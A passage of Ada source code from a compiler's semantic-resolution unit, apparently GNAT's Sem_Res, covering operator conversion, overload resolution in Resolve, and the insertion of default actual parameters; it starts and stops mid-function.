end loop; return False; end if; end In_Decl; -- Start of processing for Type_In_P begin -- If the context type is declared in the prefix package, this -- is the desired base type. if Scope (Base_Type (Typ)) = Pack and then Test (Typ) then return Base_Type (Typ); else E := First_Entity (Pack); while Present (E) loop if Test (E) and then not In_Decl then return E; end if; Next_Entity (E); end loop; return Empty; end if; end Type_In_P; --------------------------- -- Operand_Type_In_Scope -- --------------------------- -- Start of processing for Make_Call_Into_Operator begin Op_Node := New_Node (Operator_Kind (Op_Name, Is_Binary), Sloc (N)); -- Binary operator if Is_Binary then Set_Left_Opnd (Op_Node, Relocate_Node (Act1)); Set_Right_Opnd (Op_Node, Relocate_Node (Act2)); Save_Interps (Act1, Left_Opnd (Op_Node)); Save_Interps (Act2, Right_Opnd (Op_Node)); Act1 := Left_Opnd (Op_Node); Act2 := Right_Opnd (Op_Node); -- Unary operator else Set_Right_Opnd (Op_Node, Relocate_Node (Act1)); Save_Interps (Act1, Right_Opnd (Op_Node)); Act1 := Right_Opnd (Op_Node); end if; -- If the operator is denoted by an expanded name, and the prefix is -- not Standard, but the operator is a predefined one whose scope is -- Standard, then this is an implicit_operator, inserted as an -- interpretation by the procedure of the same name. This procedure -- overestimates the presence of implicit operators, because it does -- not examine the type of the operands. Verify now that the operand -- type appears in the given scope. If right operand is universal, -- check the other operand. In the case of concatenation, either -- argument can be the component type, so check the type of the result. -- If both arguments are literals, look for a type of the right kind -- defined in the given scope. This elaborate nonsense is brought to -- you courtesy of b33302a. The type itself must be frozen, so we must -- find the type of the proper class in the given scope. -- A final wrinkle is the multiplication operator for fixed point -- types, which is defined in Standard only, and not in the scope of -- the fixed_point type itself. if Nkind (Name (N)) = N_Expanded_Name then Pack := Entity (Prefix (Name (N))); -- If the entity being called is defined in the given package, -- it is a renaming of a predefined operator, and known to be -- legal. if Scope (Entity (Name (N))) = Pack and then Pack /= Standard_Standard then null; elsif (Op_Name = Name_Op_Multiply or else Op_Name = Name_Op_Divide) and then Is_Fixed_Point_Type (Etype (Left_Opnd (Op_Node))) and then Is_Fixed_Point_Type (Etype (Right_Opnd (Op_Node))) then if Pack /= Standard_Standard then Error := True; end if; else Opnd_Type := Base_Type (Etype (Right_Opnd (Op_Node))); if Op_Name = Name_Op_Concat then Opnd_Type := Base_Type (Typ); elsif (Scope (Opnd_Type) = Standard_Standard and then Is_Binary) or else (Nkind (Right_Opnd (Op_Node)) = N_Attribute_Reference and then Is_Binary and then not Comes_From_Source (Opnd_Type)) then Opnd_Type := Base_Type (Etype (Left_Opnd (Op_Node))); end if; if Scope (Opnd_Type) = Standard_Standard then -- Verify that the scope contains a type that corresponds to -- the given literal. Optimize the case where Pack is Standard. if Pack /= Standard_Standard then if Opnd_Type = Universal_Integer then Orig_Type := Type_In_P (Is_Integer_Type'Access); elsif Opnd_Type = Universal_Real then Orig_Type := Type_In_P (Is_Real_Type'Access); elsif Opnd_Type = Any_String then Orig_Type := Type_In_P (Is_String_Type'Access); elsif Opnd_Type = Any_Access then Orig_Type := Type_In_P (Is_Definite_Access_Type'Access); elsif Opnd_Type = Any_Composite then Orig_Type := Type_In_P (Is_Composite_Type'Access); if Present (Orig_Type) then if Has_Private_Component (Orig_Type) then Orig_Type := Empty; else Set_Etype (Act1, Orig_Type); if Is_Binary then Set_Etype (Act2, Orig_Type); end if; end if; end if; else Orig_Type := Empty; end if; Error := No (Orig_Type); end if; elsif Ekind (Opnd_Type) = E_Allocator_Type and then No (Type_In_P (Is_Definite_Access_Type'Access)) then Error := True; -- If the type is defined elsewhere, and the operator is not -- defined in the given scope (by a renaming declaration, e.g.) -- then this is an error as well. If an extension of System is -- present, and the type may be defined there, Pack must be -- System itself. elsif Scope (Opnd_Type) /= Pack and then Scope (Op_Id) /= Pack and then (No (System_Aux_Id) or else Scope (Opnd_Type) /= System_Aux_Id or else Pack /= Scope (System_Aux_Id)) then Error := True; elsif Pack = Standard_Standard and then not Operand_Type_In_Scope (Standard_Standard) then Error := True; end if; end if; if Error then Error_Msg_Node_2 := Pack; Error_Msg_NE ("& not declared in&", N, Selector_Name (Name (N))); Set_Etype (N, Any_Type); return; end if; end if; Set_Chars (Op_Node, Op_Name); Set_Etype (Op_Node, Base_Type (Etype (N))); Set_Entity (Op_Node, Op_Id); Generate_Reference (Op_Id, N, ' '); Rewrite (N, Op_Node); Resolve (N, Typ); -- For predefined operators on literals, the operation freezes -- their type. if Present (Orig_Type) then Set_Etype (Act1, Orig_Type); Freeze_Expression (Act1); end if; end Make_Call_Into_Operator; ------------------- -- Operator_Kind -- ------------------- function Operator_Kind (Op_Name : Name_Id; Is_Binary : Boolean) return Node_Kind is Kind : Node_Kind; begin if Is_Binary then if Op_Name = Name_Op_And then Kind := N_Op_And; elsif Op_Name = Name_Op_Or then Kind := N_Op_Or; elsif Op_Name = Name_Op_Xor then Kind := N_Op_Xor; elsif Op_Name = Name_Op_Eq then Kind := N_Op_Eq; elsif Op_Name = Name_Op_Ne then Kind := N_Op_Ne; elsif Op_Name = Name_Op_Lt then Kind := N_Op_Lt; elsif Op_Name = Name_Op_Le then Kind := N_Op_Le; elsif Op_Name = Name_Op_Gt then Kind := N_Op_Gt; elsif Op_Name = Name_Op_Ge then Kind := N_Op_Ge; elsif Op_Name = Name_Op_Add then Kind := N_Op_Add; elsif Op_Name = Name_Op_Subtract then Kind := N_Op_Subtract; elsif Op_Name = Name_Op_Concat then Kind := N_Op_Concat; elsif Op_Name = Name_Op_Multiply then Kind := N_Op_Multiply; elsif Op_Name = Name_Op_Divide then Kind := N_Op_Divide; elsif Op_Name = Name_Op_Mod then Kind := N_Op_Mod; elsif Op_Name = Name_Op_Rem then Kind := N_Op_Rem; elsif Op_Name = Name_Op_Expon then Kind := N_Op_Expon; else raise Program_Error; end if; -- Unary operators else if Op_Name = Name_Op_Add then Kind := N_Op_Plus; elsif Op_Name = Name_Op_Subtract then Kind := N_Op_Minus; elsif Op_Name = Name_Op_Abs then Kind := N_Op_Abs; elsif Op_Name = Name_Op_Not then Kind := N_Op_Not; else raise Program_Error; end if; end if; return Kind; end Operator_Kind; ----------------------------- -- Pre_Analyze_And_Resolve -- ----------------------------- procedure Pre_Analyze_And_Resolve (N : Node_Id; T : Entity_Id) is Save_Full_Analysis : constant Boolean := Full_Analysis; begin Full_Analysis := False; Expander_Mode_Save_And_Set (False); -- We suppress all checks for this analysis, since the checks will -- be applied properly, and in the right location, when the default -- expression is reanalyzed and reexpanded later on. Analyze_And_Resolve (N, T, Suppress => All_Checks); Expander_Mode_Restore; Full_Analysis := Save_Full_Analysis; end Pre_Analyze_And_Resolve; -- Version without context type. procedure Pre_Analyze_And_Resolve (N : Node_Id) is Save_Full_Analysis : constant Boolean := Full_Analysis; begin Full_Analysis := False; Expander_Mode_Save_And_Set (False); Analyze (N); Resolve (N, Etype (N), Suppress => All_Checks); Expander_Mode_Restore; Full_Analysis := Save_Full_Analysis; end Pre_Analyze_And_Resolve; ---------------------------------- -- Replace_Actual_Discriminants -- ---------------------------------- procedure Replace_Actual_Discriminants (N : Node_Id; Default : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Tsk : Node_Id := Empty; function Process_Discr (Nod : Node_Id) return Traverse_Result; ------------------- -- Process_Discr -- ------------------- function Process_Discr (Nod : Node_Id) return Traverse_Result is Ent : Entity_Id; begin if Nkind (Nod) = N_Identifier then Ent := Entity (Nod); if Present (Ent) and then Ekind (Ent) = E_Discriminant then Rewrite (Nod, Make_Selected_Component (Loc, Prefix => New_Copy_Tree (Tsk, New_Sloc => Loc), Selector_Name => Make_Identifier (Loc, Chars (Ent)))); Set_Etype (Nod, Etype (Ent)); end if; end if; return OK; end Process_Discr; procedure Replace_Discrs is new Traverse_Proc (Process_Discr); -- Start of processing for Replace_Actual_Discriminants begin if not Expander_Active then return; end if; if Nkind (Name (N)) = N_Selected_Component then Tsk := Prefix (Name (N)); elsif Nkind (Name (N)) = N_Indexed_Component then Tsk := Prefix (Prefix (Name (N))); end if; if No (Tsk) then return; else Replace_Discrs (Default); end if; end Replace_Actual_Discriminants; ------------- -- Resolve -- ------------- procedure Resolve (N : Node_Id; Typ : Entity_Id) is I : Interp_Index; I1 : Interp_Index := 0; -- prevent junk warning It : Interp; It1 : Interp; Found : Boolean := False; Seen : Entity_Id := Empty; -- prevent junk warning Ctx_Type : Entity_Id := Typ; Expr_Type : Entity_Id := Empty; -- prevent junk warning Ambiguous : Boolean := False; procedure Patch_Up_Value (N : Node_Id; Typ : Entity_Id); -- Try and fix up a literal so that it matches its expected type. New -- literals are manufactured if necessary to avoid cascaded errors. procedure Resolution_Failed; -- Called when attempt at resolving current expression fails -------------------- -- Patch_Up_Value -- -------------------- procedure Patch_Up_Value (N : Node_Id; Typ : Entity_Id) is begin if Nkind (N) = N_Integer_Literal and then Is_Real_Type (Typ) then Rewrite (N, Make_Real_Literal (Sloc (N), Realval => UR_From_Uint (Intval (N)))); Set_Etype (N, Universal_Real); Set_Is_Static_Expression (N); elsif Nkind (N) = N_Real_Literal and then Is_Integer_Type (Typ) then Rewrite (N, Make_Integer_Literal (Sloc (N), Intval => UR_To_Uint (Realval (N)))); Set_Etype (N, Universal_Integer); Set_Is_Static_Expression (N); elsif Nkind (N) = N_String_Literal and then Is_Character_Type (Typ) then Set_Character_Literal_Name (Char_Code (Character'Pos ('A'))); Rewrite (N, Make_Character_Literal (Sloc (N), Chars => Name_Find, Char_Literal_Value => Char_Code (Character'Pos ('A')))); Set_Etype (N, Any_Character); Set_Is_Static_Expression (N); elsif Nkind (N) /= N_String_Literal and then Is_String_Type (Typ) then Rewrite (N, Make_String_Literal (Sloc (N), Strval => End_String)); elsif Nkind (N) = N_Range then Patch_Up_Value (Low_Bound (N), Typ); Patch_Up_Value (High_Bound (N), Typ); end if; end Patch_Up_Value; ----------------------- -- Resolution_Failed -- ----------------------- procedure Resolution_Failed is begin Patch_Up_Value (N, Typ); Set_Etype (N, Typ); Debug_A_Exit ("resolving ", N, " (done, resolution failed)"); Set_Is_Overloaded (N, False); -- The caller will return without calling the expander, so we need -- to set the analyzed flag. Note that it is fine to set Analyzed -- to True even if we are in the middle of a shallow analysis, -- (see the spec of sem for more details) since this is an error -- situation anyway, and there is no point in repeating the -- analysis later (indeed it won't work to repeat it later, since -- we haven't got a clear resolution of which entity is being -- referenced.) Set_Analyzed (N, True); return; end Resolution_Failed; -- Start of processing for Resolve begin if N = Error then return; end if; -- Access attribute on remote subprogram cannot be used for -- a non-remote access-to-subprogram type. if Nkind (N) = N_Attribute_Reference and then (Attribute_Name (N) = Name_Access or else Attribute_Name (N) = Name_Unrestricted_Access or else Attribute_Name (N) = Name_Unchecked_Access) and then Comes_From_Source (N) and then Is_Entity_Name (Prefix (N)) and then Is_Subprogram (Entity (Prefix (N))) and then Is_Remote_Call_Interface (Entity (Prefix (N))) and then not Is_Remote_Access_To_Subprogram_Type (Typ) then Error_Msg_N ("prefix must statically denote a non-remote subprogram", N); end if; -- If the context is a Remote_Access_To_Subprogram, access attributes -- must be resolved with the corresponding fat pointer. There is no need -- to check for the attribute name since the return type of an -- attribute is never a remote type. if Nkind (N) = N_Attribute_Reference and then Comes_From_Source (N) and then (Is_Remote_Call_Interface (Typ) or else Is_Remote_Types (Typ)) then declare Attr : constant Attribute_Id := Get_Attribute_Id (Attribute_Name (N)); Pref : constant Node_Id := Prefix (N); Decl : Node_Id; Spec : Node_Id; Is_Remote : Boolean := True; begin -- Check that Typ is a fat pointer with a reference to a RAS as -- original access type. if (Ekind (Typ) = E_Access_Subprogram_Type and then Present (Equivalent_Type (Typ))) or else (Ekind (Typ) = E_Record_Type and then Present (Corresponding_Remote_Type (Typ))) then -- Prefix (N) must statically denote a remote subprogram -- declared in a package specification. if Attr = Attribute_Access then Decl := Unit_Declaration_Node (Entity (Pref)); if Nkind (Decl) = N_Subprogram_Body then Spec := Corresponding_Spec (Decl); if not No (Spec) then Decl := Unit_Declaration_Node (Spec); end if; end if; Spec := Parent (Decl); if not Is_Entity_Name (Prefix (N)) or else Nkind (Spec) /= N_Package_Specification or else not Is_Remote_Call_Interface (Defining_Entity (Spec)) then Is_Remote := False; Error_Msg_N ("prefix must statically denote a remote subprogram ", N); end if; end if; if Attr = Attribute_Access or else Attr = Attribute_Unchecked_Access or else Attr = Attribute_Unrestricted_Access then Check_Subtype_Conformant (New_Id => Entity (Prefix (N)), Old_Id => Designated_Type (Corresponding_Remote_Type (Typ)), Err_Loc => N); if Is_Remote then Process_Remote_AST_Attribute (N, Typ); end if; end if; end if; end; end if; Debug_A_Entry ("resolving ", N); if Is_Fixed_Point_Type (Typ) then Check_Restriction (No_Fixed_Point, N); elsif Is_Floating_Point_Type (Typ) and then Typ /= Universal_Real and then Typ /= Any_Real then Check_Restriction (No_Floating_Point, N); end if; -- Return if already analyzed if Analyzed (N) then Debug_A_Exit ("resolving ", N, " (done, already analyzed)"); return; -- Return if type = Any_Type (previous error encountered) elsif Etype (N) = Any_Type then Debug_A_Exit ("resolving ", N, " (done, Etype = Any_Type)"); return; end if; Check_Parameterless_Call (N); -- If not overloaded, then we know the type, and all that needs doing -- is to check that this type is compatible with the context. if not Is_Overloaded (N) then Found := Covers (Typ, Etype (N)); Expr_Type := Etype (N); -- In the overloaded case, we must select the interpretation that -- is compatible with the context (i.e. the type passed to Resolve) else Get_First_Interp (N, I, It); -- Loop through possible interpretations Interp_Loop : while Present (It.Typ) loop -- We are only interested in interpretations that are compatible -- with the expected type, any other interpretations are ignored if Covers (Typ, It.Typ) then -- First matching interpretation if not Found then Found := True; I1 := I; Seen := It.Nam; Expr_Type := It.Typ; -- Matching intepretation that is not the first, maybe an -- error, but there are some cases where preference rules are -- used to choose between the two possibilities. These and -- some more obscure cases are handled in Disambiguate. else Error_Msg_Sloc := Sloc (Seen); It1 := Disambiguate (N, I1, I, Typ); if It1 = No_Interp then -- Before we issue an ambiguity complaint, check for -- the case of a subprogram call where at least one -- of the arguments is Any_Type, and if so, suppress -- the message, since it is a cascaded error. if Nkind (N) = N_Function_Call or else Nkind (N) = N_Procedure_Call_Statement then declare A : Node_Id := First_Actual (N); E : Node_Id; begin while Present (A) loop E := A; if Nkind (E) = N_Parameter_Association then E := Explicit_Actual_Parameter (E); end if; if Etype (E) = Any_Type then if Debug_Flag_V then Write_Str ("Any_Type in call"); Write_Eol; end if; exit Interp_Loop; end if; Next_Actual (A); end loop; end; elsif Nkind (N) in N_Binary_Op and then (Etype (Left_Opnd (N)) = Any_Type or else Etype (Right_Opnd (N)) = Any_Type) then exit Interp_Loop; elsif Nkind (N) in N_Unary_Op and then Etype (Right_Opnd (N)) = Any_Type then exit Interp_Loop; end if; -- Not that special case, so issue message using the -- flag Ambiguous to control printing of the header -- message only at the start of an ambiguous set. if not Ambiguous then Error_Msg_NE ("ambiguous expression (cannot resolve&)!", N, It.Nam); Error_Msg_N ("possible interpretation#!", N); Ambiguous := True; end if; Error_Msg_Sloc := Sloc (It.Nam); Error_Msg_N ("possible interpretation#!", N); -- Disambiguation has succeeded. Skip the remaining -- interpretations. else Seen := It1.Nam; Expr_Type := It1.Typ; while Present (It.Typ) loop Get_Next_Interp (I, It); end loop; end if; end if; -- We have a matching interpretation, Expr_Type is the -- type from this interpretation, and Seen is the entity. -- For an operator, just set the entity name. The type will -- be set by the specific operator resolution routine. if Nkind (N) in N_Op then Set_Entity (N, Seen); Generate_Reference (Seen, N); elsif Nkind (N) = N_Character_Literal then Set_Etype (N, Expr_Type); -- For an explicit dereference, attribute reference, range, -- short-circuit form (which is not an operator node), -- or a call with a name that is an explicit dereference, -- there is nothing to be done at this point. elsif Nkind (N) = N_Explicit_Dereference or else Nkind (N) = N_Attribute_Reference or else Nkind (N) = N_And_Then or else Nkind (N) = N_Indexed_Component or else Nkind (N) = N_Or_Else or else Nkind (N) = N_Range or else Nkind (N) = N_Selected_Component or else Nkind (N) = N_Slice or else Nkind (Name (N)) = N_Explicit_Dereference then null; -- For procedure or function calls, set the type of the -- name, and also the entity pointer for the prefix elsif (Nkind (N) = N_Procedure_Call_Statement or else Nkind (N) = N_Function_Call) and then (Is_Entity_Name (Name (N)) or else Nkind (Name (N)) = N_Operator_Symbol) then Set_Etype (Name (N), Expr_Type); Set_Entity (Name (N), Seen); Generate_Reference (Seen, Name (N)); elsif Nkind (N) = N_Function_Call and then Nkind (Name (N)) = N_Selected_Component then Set_Etype (Name (N), Expr_Type); Set_Entity (Selector_Name (Name (N)), Seen); Generate_Reference (Seen, Selector_Name (Name (N))); -- For all other cases, just set the type of the Name else Set_Etype (Name (N), Expr_Type); end if; -- Here if interpetation is incompatible with context type else if Debug_Flag_V then Write_Str (" intepretation incompatible with context"); Write_Eol; end if; end if; -- Move to next interpretation exit Interp_Loop when not Present (It.Typ); Get_Next_Interp (I, It); end loop Interp_Loop; end if; -- At this stage Found indicates whether or not an acceptable -- interpretation exists. If not, then we have an error, except -- that if the context is Any_Type as a result of some other error, -- then we suppress the error report. if not Found then if Typ /= Any_Type then -- If type we are looking for is Void, then this is the -- procedure call case, and the error is simply that what -- we gave is not a procedure name (we think of procedure -- calls as expressions with types internally, but the user -- doesn't think of them this way!) if Typ = Standard_Void_Type then Error_Msg_N ("expect procedure name in procedure call", N); Found := True; -- Otherwise we do have a subexpression with the wrong type -- Check for the case of an allocator which uses an access -- type instead of the designated type. This is a common -- error and we specialize the message, posting an error -- on the operand of the allocator, complaining that we -- expected the designated type of the allocator. elsif Nkind (N) = N_Allocator and then Ekind (Typ) in Access_Kind and then Ekind (Etype (N)) in Access_Kind and then Designated_Type (Etype (N)) = Typ then Wrong_Type (Expression (N), Designated_Type (Typ)); Found := True; -- Check for view mismatch on Null in instances, for -- which the view-swapping mechanism has no identifier. elsif (In_Instance or else In_Inlined_Body) and then (Nkind (N) = N_Null) and then Is_Private_Type (Typ) and then Is_Access_Type (Full_View (Typ)) then Resolve (N, Full_View (Typ)); Set_Etype (N, Typ); return; -- Check for an aggregate. Sometimes we can get bogus -- aggregates from misuse of parentheses, and we are -- about to complain about the aggregate without even -- looking inside it. -- Instead, if we have an aggregate of type Any_Composite, -- then analyze and resolve the component fields, and then -- only issue another message if we get no errors doing -- this (otherwise assume that the errors in the aggregate -- caused the problem). elsif Nkind (N) = N_Aggregate and then Etype (N) = Any_Composite then -- Disable expansion in any case. If there is a type mismatch -- it may be fatal to try to expand the aggregate. The flag -- would otherwise be set to false when the error is posted. Expander_Active := False; declare procedure Check_Aggr (Aggr : Node_Id); -- Check one aggregate, and set Found to True if we -- have a definite error in any of its elements procedure Check_Elmt (Aelmt : Node_Id); -- Check one element of aggregate and set Found to -- True if we definitely have an error in the element. procedure Check_Aggr (Aggr : Node_Id) is Elmt : Node_Id; begin if Present (Expressions (Aggr)) then Elmt := First (Expressions (Aggr)); while Present (Elmt) loop Check_Elmt (Elmt); Next (Elmt); end loop; end if; if Present (Component_Associations (Aggr)) then Elmt := First (Component_Associations (Aggr)); while Present (Elmt) loop Check_Elmt (Expression (Elmt)); Next (Elmt); end loop; end if; end Check_Aggr; procedure Check_Elmt (Aelmt : Node_Id) is begin -- If we have a nested aggregate, go inside it (to -- attempt a naked analyze-resolve of the aggregate -- can cause undesirable cascaded errors). Do not -- resolve expression if it needs a type from context, -- as for integer * fixed expression. if Nkind (Aelmt) = N_Aggregate then Check_Aggr (Aelmt); else Analyze (Aelmt); if not Is_Overloaded (Aelmt) and then Etype (Aelmt) /= Any_Fixed then Resolve (Aelmt, Etype (Aelmt)); end if; if Etype (Aelmt) = Any_Type then Found := True; end if; end if; end Check_Elmt; begin Check_Aggr (N); end; end if; -- If an error message was issued already, Found got reset -- to True, so if it is still False, issue the standard -- Wrong_Type message. if not Found then if Is_Overloaded (N) and then Nkind (N) = N_Function_Call then Error_Msg_Node_2 := Typ; Error_Msg_NE ("no visible interpretation of&" & " matches expected type&", N, Name (N)); if All_Errors_Mode then declare Index : Interp_Index; It : Interp; begin Error_Msg_N ("\possible interpretations:", N); Get_First_Interp (Name (N), Index, It); while Present (It.Nam) loop Error_Msg_Sloc := Sloc (It.Nam); Error_Msg_Node_2 := It.Typ; Error_Msg_NE ("\& declared#, type&", N, It.Nam); Get_Next_Interp (Index, It); end loop; end; else Error_Msg_N ("\use -gnatf for details", N); end if; else Wrong_Type (N, Typ); end if; end if; end if; Resolution_Failed; return; -- Test if we have more than one interpretation for the context elsif Ambiguous then Resolution_Failed; return; -- Here we have an acceptable interpretation for the context else -- A user-defined operator is tranformed into a function call at -- this point, so that further processing knows that operators are -- really operators (i.e. are predefined operators). User-defined -- operators that are intrinsic are just renamings of the predefined -- ones, and need not be turned into calls either, but if they rename -- a different operator, we must transform the node accordingly. -- Instantiations of Unchecked_Conversion are intrinsic but are -- treated as functions, even if given an operator designator. if Nkind (N) in N_Op and then Present (Entity (N)) and then Ekind (Entity (N)) /= E_Operator then if not Is_Predefined_Op (Entity (N)) then Rewrite_Operator_As_Call (N, Entity (N)); elsif Present (Alias (Entity (N))) then Rewrite_Renamed_Operator (N, Alias (Entity (N))); end if; end if; -- Propagate type information and normalize tree for various -- predefined operations. If the context only imposes a class of -- types, rather than a specific type, propagate the actual type -- downward. if Typ = Any_Integer or else Typ = Any_Boolean or else Typ = Any_Modular or else Typ = Any_Real or else Typ = Any_Discrete then Ctx_Type := Expr_Type; -- Any_Fixed is legal in a real context only if a specific -- fixed point type is imposed. If Norman Cohen can be -- confused by this, it deserves a separate message. if Typ = Any_Real and then Expr_Type = Any_Fixed then Error_Msg_N ("Illegal context for mixed mode operation", N); Set_Etype (N, Universal_Real); Ctx_Type := Universal_Real; end if; end if; case N_Subexpr'(Nkind (N)) is when N_Aggregate => Resolve_Aggregate (N, Ctx_Type); when N_Allocator => Resolve_Allocator (N, Ctx_Type); when N_And_Then | N_Or_Else => Resolve_Short_Circuit (N, Ctx_Type); when N_Attribute_Reference => Resolve_Attribute (N, Ctx_Type); when N_Character_Literal => Resolve_Character_Literal (N, Ctx_Type); when N_Conditional_Expression => Resolve_Conditional_Expression (N, Ctx_Type); when N_Expanded_Name => Resolve_Entity_Name (N, Ctx_Type); when N_Extension_Aggregate => Resolve_Extension_Aggregate (N, Ctx_Type); when N_Explicit_Dereference => Resolve_Explicit_Dereference (N, Ctx_Type); when N_Function_Call => Resolve_Call (N, Ctx_Type); when N_Identifier => Resolve_Entity_Name (N, Ctx_Type); when N_In | N_Not_In => Resolve_Membership_Op (N, Ctx_Type); when N_Indexed_Component => Resolve_Indexed_Component (N, Ctx_Type); when N_Integer_Literal => Resolve_Integer_Literal (N, Ctx_Type); when N_Null => Resolve_Null (N, Ctx_Type); when N_Op_And | N_Op_Or | N_Op_Xor => Resolve_Logical_Op (N, Ctx_Type); when N_Op_Eq | N_Op_Ne => Resolve_Equality_Op (N, Ctx_Type); when N_Op_Lt | N_Op_Le | N_Op_Gt | N_Op_Ge => Resolve_Comparison_Op (N, Ctx_Type); when N_Op_Not => Resolve_Op_Not (N, Ctx_Type); when N_Op_Add | N_Op_Subtract | N_Op_Multiply | N_Op_Divide | N_Op_Mod | N_Op_Rem => Resolve_Arithmetic_Op (N, Ctx_Type); when N_Op_Concat => Resolve_Op_Concat (N, Ctx_Type); when N_Op_Expon => Resolve_Op_Expon (N, Ctx_Type); when N_Op_Plus | N_Op_Minus | N_Op_Abs => Resolve_Unary_Op (N, Ctx_Type); when N_Op_Shift => Resolve_Shift (N, Ctx_Type); when N_Procedure_Call_Statement => Resolve_Call (N, Ctx_Type); when N_Operator_Symbol => Resolve_Operator_Symbol (N, Ctx_Type); when N_Qualified_Expression => Resolve_Qualified_Expression (N, Ctx_Type); when N_Raise_xxx_Error => Set_Etype (N, Ctx_Type); when N_Range => Resolve_Range (N, Ctx_Type); when N_Real_Literal => Resolve_Real_Literal (N, Ctx_Type); when N_Reference => Resolve_Reference (N, Ctx_Type); when N_Selected_Component => Resolve_Selected_Component (N, Ctx_Type); when N_Slice => Resolve_Slice (N, Ctx_Type); when N_String_Literal => Resolve_String_Literal (N, Ctx_Type); when N_Subprogram_Info => Resolve_Subprogram_Info (N, Ctx_Type); when N_Type_Conversion => Resolve_Type_Conversion (N, Ctx_Type); when N_Unchecked_Expression => Resolve_Unchecked_Expression (N, Ctx_Type); when N_Unchecked_Type_Conversion => Resolve_Unchecked_Type_Conversion (N, Ctx_Type); end case; -- If the subexpression was replaced by a non-subexpression, then -- all we do is to expand it. The only legitimate case we know of -- is converting procedure call statement to entry call statements, -- but there may be others, so we are making this test general. if Nkind (N) not in N_Subexpr then Debug_A_Exit ("resolving ", N, " (done)"); Expand (N); return; end if; -- The expression is definitely NOT overloaded at this point, so -- we reset the Is_Overloaded flag to avoid any confusion when -- reanalyzing the node. Set_Is_Overloaded (N, False); -- Freeze expression type, entity if it is a name, and designated -- type if it is an allocator (RM 13.14(9,10)). -- Now that the resolution of the type of the node is complete, -- and we did not detect an error, we can expand this node. We -- skip the expand call if we are in a default expression, see -- section "Handling of Default Expressions" in Sem spec. Debug_A_Exit ("resolving ", N, " (done)"); -- We unconditionally freeze the expression, even if we are in -- default expression mode (the Freeze_Expression routine tests -- this flag and only freezes static types if it is set). Freeze_Expression (N); -- Now we can do the expansion Expand (N); end if; end Resolve; -- Version with check(s) suppressed procedure Resolve (N : Node_Id; Typ : Entity_Id; Suppress : Check_Id) is begin if Suppress = All_Checks then declare Svg : constant Suppress_Record := Scope_Suppress; begin Scope_Suppress := (others => True); Resolve (N, Typ); Scope_Suppress := Svg; end; else declare Svg : constant Boolean := Get_Scope_Suppress (Suppress); begin Set_Scope_Suppress (Suppress, True); Resolve (N, Typ); Set_Scope_Suppress (Suppress, Svg); end; end if; end Resolve; --------------------- -- Resolve_Actuals -- --------------------- procedure Resolve_Actuals (N : Node_Id; Nam : Entity_Id) is Loc : constant Source_Ptr := Sloc (N); A : Node_Id; F : Entity_Id; A_Typ : Entity_Id; F_Typ : Entity_Id; Prev : Node_Id := Empty; procedure Insert_Default; -- If the actual is missing in a call, insert in the actuals list -- an instance of the default expression. The insertion is always -- a named association. -------------------- -- Insert_Default -- -------------------- procedure Insert_Default is Actval : Node_Id; Assoc : Node_Id; begin -- Note that we do a full New_Copy_Tree, so that any associated -- Itypes are properly copied. This may not be needed any more, -- but it does no harm as a safety measure! Defaults of a generic -- formal may be out of bounds of the corresponding actual (see -- cc1311b) and an additional check may be required. if Present (Default_Value (F)) then Actval := New_Copy_Tree (Default_Value (F), New_Scope => Current_Scope, New_Sloc => Loc); if Is_Concurrent_Type (Scope (Nam)) and then Has_Discriminants (Scope (Nam)) then Replace_Actual_Discriminants (N, Actval); end if; if Is_Overloadable (Nam) and then Present (Alias (Nam)) then if Base_Type (Etype (F)) /= Base_Type (Etype (Actval)) and then not Is_Tagged_Type (Etype (F)) then -- If default is a real literal, do not introduce a -- conversion whose effect may depend on the run-time -- size of universal real. if Nkind (Actval) = N_Real_Literal then Set_Etype (Actval, Base_Type (Etype (F))); else Actval := Unchecked_Convert_To (Etype (F), Actval); end if; end if; if Is_Scalar_Type (Etype (F)) then Enable_Range_Check (Actval); end if; Set_Parent (Actval, N); Analyze_And_Resolve (Actval, Etype (Actval)); else Set_Parent (Actval, N); -- Resolve aggregates with their base type, to avoid scope -- anomalies: the subtype was first built in the suprogram -- declaration, and the current call may be nested. if Nkind (Actval) = N_Aggregate and then Has_Discriminants (Etype (Actval)) then Analyze_And_Resolve (Actval, Base_Type (Etype (Actval))); else Analyze_And_Resolve (Actval, Etype (Actval)); end if; end if; -- If default is a tag indeterminate function call, propagate -- tag to obtain proper dispatching. if Is_Controlling_Formal (F) and then Nkind (Default_Value (F)) = N_Function_Call then Set_Is_Controlling_Actual (Actval); end if; else -- Missing argument in call, nothing to insert. return; end if; -- If the default expression raises constraint error, then just -- silently replace it with an N_Raise_Constraint_Error node, -- since we already gave the warning on the subprogram spec. if Raises_Constraint_Error (Actval) then Rewrite (Actval, Make_Raise_Constraint_Error (Loc)); Set_Raises_Constraint_Error (Actval); Set_Etype (Actval, Etype (F)); end if; Assoc := Make_Parameter_Association (Loc, Explicit_Actual_Parameter => Actval, Selector_Name => Make_Identifier (Loc, Chars (F))); -- Case of insertion is first named actual if No (Prev) or else Nkind (Parent (Prev)) /= N_Parameter_Association then Set_Next_Named_Actual (Assoc, First_Named_Actual (N)); Set_First_Named_Actual (N, Actval); if No (Prev) then if not Present (Parameter_Associations (N)) then Set_Parameter_Associations (N, New_List (Assoc)); else Append (Assoc, Parameter_Associations (N)); end if; else Insert_After (Prev, Assoc); end if; -- Case of insertion is not first named actual else Set_Next_Named_Actual (Assoc, Next_Named_Actual (Parent (Prev))); Set_Next_Named_Actual (Parent (Prev), Actval); Append (Assoc, Parameter_Associations (N)); end if; Mark_Rewrite_Insertion (Assoc); Mark_Rewrite_Insertion (Actval); Prev := Actval; end Insert_Default; -- Start of processing for Resolve_Actuals begin A := First_Actual (N); F := First_Formal (Nam); while Present (F) loop if Present (A) and then (Nkind (Parent (A)) /= N_Parameter_Association or else Chars (Selector_Name (Parent (A))) = Chars (F)) then -- If the formal is Out or In_Out, do not resolve and expand the -- conversion, because it is subsequently expanded into explicit -- temporaries and assignments. However, the object of the -- conversion can be resolved. An exception is the case of -- a tagged type conversion with a class-wide actual. In that -- case we want the tag check to occur and no temporary will -- will be needed (no representation change can occur) and -- the parameter is passed by reference, so we go ahead and -- resolve the type conversion. if Ekind (F) /= E_In_Parameter and then Nkind (A) = N_Type_Conversion and then not Is_Class_Wide_Type (Etype (Expression (A))) then if Conversion_OK (A) or else Valid_Conversion (A, Etype (A), Expression (A)) then Resolve (Expression (A), Etype (Expression (A))); end if; else Resolve (A, Etype (F)); end if; A_Typ := Etype (A); F_Typ := Etype (F); if Ekind (F) /= E_In_Parameter and then not 